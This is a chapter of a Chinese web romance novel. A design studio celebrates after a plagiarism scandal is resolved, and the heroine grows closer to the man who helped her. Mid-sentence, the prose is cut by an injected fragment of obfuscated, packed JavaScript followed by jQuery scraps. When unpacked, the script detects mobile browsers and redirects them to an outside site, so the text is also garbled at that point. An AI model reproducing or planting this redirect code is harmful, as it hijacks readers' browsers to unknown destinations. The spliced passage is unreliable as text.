30. 清白
作品:《向阮》 第二天上午八点,山海的官方道歉声明全平台同步发表,正式向阮迎及其工作室致歉,并且认下了设计总监张辰盗用原创成果、伪造底稿和恶意诽谤的全部事实,还在下方附了转账流水、邮件记录以及文件后台修改时间的几样核心证据,同时表明了开除张辰、保留追责权利以及全额赔偿工作室经济与名誉损失的处理方案,承诺48小时内全平台清理相关负面内容。
声明发出去没多久,#山海设计总监张辰抄袭#的话题就冲上了热搜。之前跟风骂阮迎的营销号秒删内容,还有不少设计师跟着发声,说张辰抢新人稿子不是第一次了,只是仗着背后是旭日集团没人敢惹。
到了下午,之前被他坑过的几个独立设计师陆陆续续的放出了当年的证据,把张辰彻底锤到了坑底,中国珠宝玉石首饰行业协会紧跟着发了公告,把张辰拉进了行业黑名单,以及国内叫得上名的珠宝品牌和工作室先后发声称永不录用张辰,直接把张辰在设计圈内的路彻底封死。
工作室里静悄悄的,所有人都围在电脑前,看着屏幕上协会的封杀公告。
周闵靠在桌沿上,长舒了口气,“行了,都别绷着了,这事翻篇了,今晚我请客,咱们好好吃一顿,谁也不许提工作,就放开了玩。”
办公室里瞬间炸开了锅,有人笑有人骂,还有人拍着桌子说要把张辰那孙子暴打一顿。
周闵凑到阮迎身边,说:“给三少打个电话?这次要不是他,咱们真栽进去了,怎么着也得请人吃顿饭,当面说声谢谢。”
闻言,阮迎握着鼠标的手顿了一下,她当然想谢谢他,他帮她查清了一切,连对方收买内鬼的证据都找得一清二楚,她不是不明白这份心意。
她拿出手机,指尖在屏幕上划了两下,说:“会不会太麻烦他了?他平时也不爱凑这种热闹。”
“麻烦什么啊!”旁边的几个小姑娘听见了,立刻凑过来说:“阮迎姐,必须叫啊!我们都想当面谢谢三少呢!”
“对啊对啊,他肯定来!”
几个人围在她面前你一言我一语的,阮迎被说得没办法,只好起身拿着手机去了茶水间。
电话刚响了两声就通了,胥酌的声音从手机里传出来,带着点刚睡醒的沙哑,“阮迎?”
阮迎愣了一下,应声道:“啊,是我。”
“怎么了?”他的声音立刻清醒了些,“是不是没处理干净?公关那边没跟上?”
“不是不是,都解决了,协会的封杀公告也出了,真的谢谢你。”阮迎赶紧解释着,然后深吸了一口气,说:“我们工作室今晚聚餐,庆祝一下,大家想让我问问你,有没有空过来一起吃个饭?”
电话那头静了两秒,随即传来一声低笑,“行啊,”他答应得很干脆,“在哪?”
阮迎没想到他答应的这么痛快,一下子没反应过来:“啊?你……你真来啊?”
“不然呢?”胥酌声音里的笑意更明显了,“不过我这边得跟林特助碰一下,确认赔偿款的到账时间,可能要晚点到,你们先吃,不用等我。”
“好,你先忙,我等下把地址发你。”阮迎挂了电话,靠在冰凉的墙壁上,嘴角忍不住上扬。
晚上的餐厅定在工作室附近的一家星级酒店的大包房。等菜上齐了,大家拿着饮料碰了一杯,周闵举着杯子,说:“这阵子大家都辛苦了,以后咱们工作室,只会越来越好。”
“好!”杯子碰到一起,发出轻松欢快的声响。
吃到一半,包房的门被推开了。
胥酌站在门口,穿了件黑色的休闲西装,眉眼间是惯有的冷淡的漫不经心,手里还拎着个牛皮纸袋,扫了一圈,视线落在了阮迎身上。
经过此事,大家一直认为胥酌没有传闻中的那么冷淡和不近人情,看他来了都你一言我一语的笑着打招呼:“三少来了!”
周闵赶紧起身迎了上去,把他往阮迎旁边的空位带:“三少来了,快坐快坐,就等你了。”
胥酌笑着说了声谢谢,顺势在阮迎身旁的位置坐下,把手里的纸袋放在桌上:“带了两瓶酒,大家想喝的自己开。”
然后侧头看了阮迎一眼,小声说:“路上堵车,来晚了。”
“没事,我们也没吃多久。”阮迎看着他,笑了笑。
周闵开了酒,先给胥酌倒了一杯,举着杯子站起来,神色认真:“三少,客套话我就不多说了。这次的事没有你,我们整个工作室就全完了,不光是师妹的名声,还有我们这几个月的心血,还有这帮孩子的前途,就全毁了。这份情,我们记一辈子,这杯我敬你,我干了,你随意。”
说完一仰头,把杯子里的红酒全喝了,屋子里的其他人也都跟着站起来,纷纷举着杯子,齐声说:“谢谢三少!”
胥酌赶紧站了起来,摆了摆手:“别这么客气,都是应该的,我开车,就不喝酒了。”然后拿着旁边的白水,同大家举杯,一饮而尽。
胥酌的话不多,但谁跟他说话他都回应着,没有半点阔少的架子。
中途手机响了,看了眼来电显示,偏头跟阮迎打了声招呼,起身出去接电话。
他靠在走廊的墙上,单手插兜:“喂?”
“在哪呢?”苏文靳的大嗓门从听筒里传过来,“我店里新到了批精酿,还有你爱喝的那款威士忌,过来喝两杯?”
“没空。”
苏文靳啧了一声,“我可叫了妹妹啊,不来别后悔。”
胥酌嗤笑一声:“她就在我旁边包厢呢,你什么时候叫的?”
“行啊你!”苏文靳笑骂了一句,“那正好,你们吃完饭直接来我这,二楼最大的包房我给你们留着,让工作室的小孩也过来玩玩,我请客,就当给他们压惊了。”
胥酌想了想,说:“行,我问问他们。”
挂了电话回包房,他坐下跟大家说:“我朋友开了家酒吧,地方挺大的,问我们吃完饭要不要过去坐坐,他请客。”
这话一出,大家立刻兴奋起来:“好啊好啊!正好吃完饭没地方去!”
“唱歌去!我早就想吼两嗓子了!”
周闵也笑着说:“太好了,麻烦你了。”
“不麻烦,”胥酌笑了笑,看向阮迎,低声说:“苏文靳刚打电话,说给你们压惊。”
阮迎愣了一下,“文靳哥也知道?那我哥?”
“你哥还不知道,我昨晚和他通过电话。”
“那就行,反正都解决了,就别告诉他了。”
“放心吧。”
吃完饭一群人分了五辆车,胥酌开车带阮迎,周闵开车带着三个小姑娘,剩下的人打车,一起往航海方向去。
到地方的时候,苏文靳已经在门口等着了,穿了件花衬衫,看见他们过来,快步走到阮迎和胥酌身边,关切的问:“网上的事我都看了,没受委屈吧?”
阮迎笑着说:“没有,都解决了。”
“那就行那就行。”
然后带着大家往里走,边走边说:“都安排好了,想唱什么玩什么随便来,今天全场算我的。”
包房里面已经摆好了饮料零食和果盘,还有多种多样的酒水,大家都是年轻人,一进去就疯了起来,一窝蜂的冲到点歌台面前点歌。
周闵被大家推着拿了话筒,扯着嗓子硬着头皮唱了首跑调的歌,惹得一屋子人哈哈大笑。
苏文靳拉着胥酌在角落里的沙发上坐下,调侃道:“可以啊你,为了妹妹,都肯回公司了?你们家老爷子逼了你十年,你都宁死不屈,天天摆烂跟他对着干,现在为了妹妹,松口了?”
胥酌瞥了他一眼:“少废话,挂个名而已,又不用我上班,顺水推舟的事。”
“拉倒吧,”苏文靳嗤笑一声,“别人不知道你,我还不知道?你跟家里僵了十年,别说挂名,公司大门你都不愿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343577|197768||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意迈进一步,现在说顺水推舟?骗鬼呢。”
苏文靳靠在沙发上,长叹了口气:“时安接的早,现在你也回去了,我爸开始围攻我了,非要让我进公司,我怎么这么倒霉啊!”
胥酌摇摇头,没理他,目光时不时的往阮迎那边瞟。
阮迎坐在沙发的另一边,笑着看大家闹,偶尔跟着拍手,手里捧着杯鸡尾酒,偶尔喝上几口。
包房里的音乐声很大,吵得很,她坐了一会儿,跟旁边的女生打了声招呼,就起身出去了。
胥酌看见她出去,立刻跟苏文靳说了句:“我出去透透气”,起身拿起她落下的外套,还有一瓶矿泉水,跟了出去。
二楼的走廊尽头是个露天阳台,阮迎走过去,扶着栏杆站着,看着楼下的车水马龙,轻轻的舒了口气。
听见脚步声,她回头看了一眼,是胥酌。他把手里的外套披在她身上,轻声说:“穿上,别感冒了。”
“谢谢。”
胥酌靠在她旁边的栏杆上,把水递给她,没说话。两个人就这么安安静静地站着,听着路上来回行驶的车轮声,还有包房里隐隐约约的音乐声。
过了好一会儿,阮迎先开了口,声音很轻:“胥酌,这次的事,真的谢谢你。”
“多大点事。”胥酌打断她,“山海的资方是旭日的子公司,出了事,我应该负责。”
“可是……”阮迎看着他,“你不是一直都不肯碰公司的事吗?”
胥酌愣了一下,故作轻松的说:“不是还有我二哥呢吗,他同意帮忙。”
阮迎点点头,忍不住笑了笑。
胥酌看着她,直截了当的开口:“以后有事,你直接找我,不用跟别人低头。”
顿了顿,又补充道:“我知道,你不想靠家里,不想让你哥担心,我会帮你解决,也会瞒住你哥,只要,你不和我客气,不一个人硬撑,好吗?”
话一出,阮迎的心跳漏了一拍,低下头,看着手里的矿泉水,嘴角弯了一个弧度,没说话。
两个人又在阳台站了半个多小时,有一搭没一搭地聊天,回包房的时候,大家都玩累了,歪在沙发上聊天,直到凌晨,一群人才收拾东西准备回家。
苏文靳送他们到门口,阮迎说:“有事随时打电话,不用自己扛着,你哥不在,我们就是你哥。”
然后转头拍了胥酌一下,“妹妹交给你了,安全送回去。”
阮迎笑着点点头,和苏文靳道别,然后跟着胥酌往车停的方向走。
车上很安静,没放音乐,只有车轮划过地面的声音。
到了门口,阮迎解开安全带,对他说:“今天谢谢你。”
“不客气。”胥酌笑着看她,说:“进去吧,早点休息,有事随时给我打电话,二十四小时都能打。”
阮迎点了点头,伸手推开车门,下车之前,她转过头,看着他,眼睛亮晶晶的,笑着说:“胥酌,下次我请你吃饭吧,就我们两个。”
胥酌愣了一下,嘴角不受控制的上扬,他假装淡定,点了点头:“行,你定时间,我随时有空。”
阮迎笑了笑,挥了挥手,转身走进了大门。
胥酌坐在车里,看着她的身影消失在门口,才忍不住笑出了声。
他拿出手机,看见胥铮发来的消息:“明天上午十点,来公司签个字,不用多待。”
胥酌回了个“知道了”,把手机扔在了副驾,发动了车子。
大学时,他专业课排名第一,毕业后却故意游手好闲,无所事事,就是不想顺着老爷子的意,不想活成他想要的样子。
亲戚们都觉得他烂泥扶不上墙,是个废了的小少爷,只有他自己知道,他就是在较劲。
可这次,他松了口。
他一点都不后悔,只要能护着她,让她安安心心做她的设计,让她眼里的光一直亮着,这点妥协,根本算不了什么。

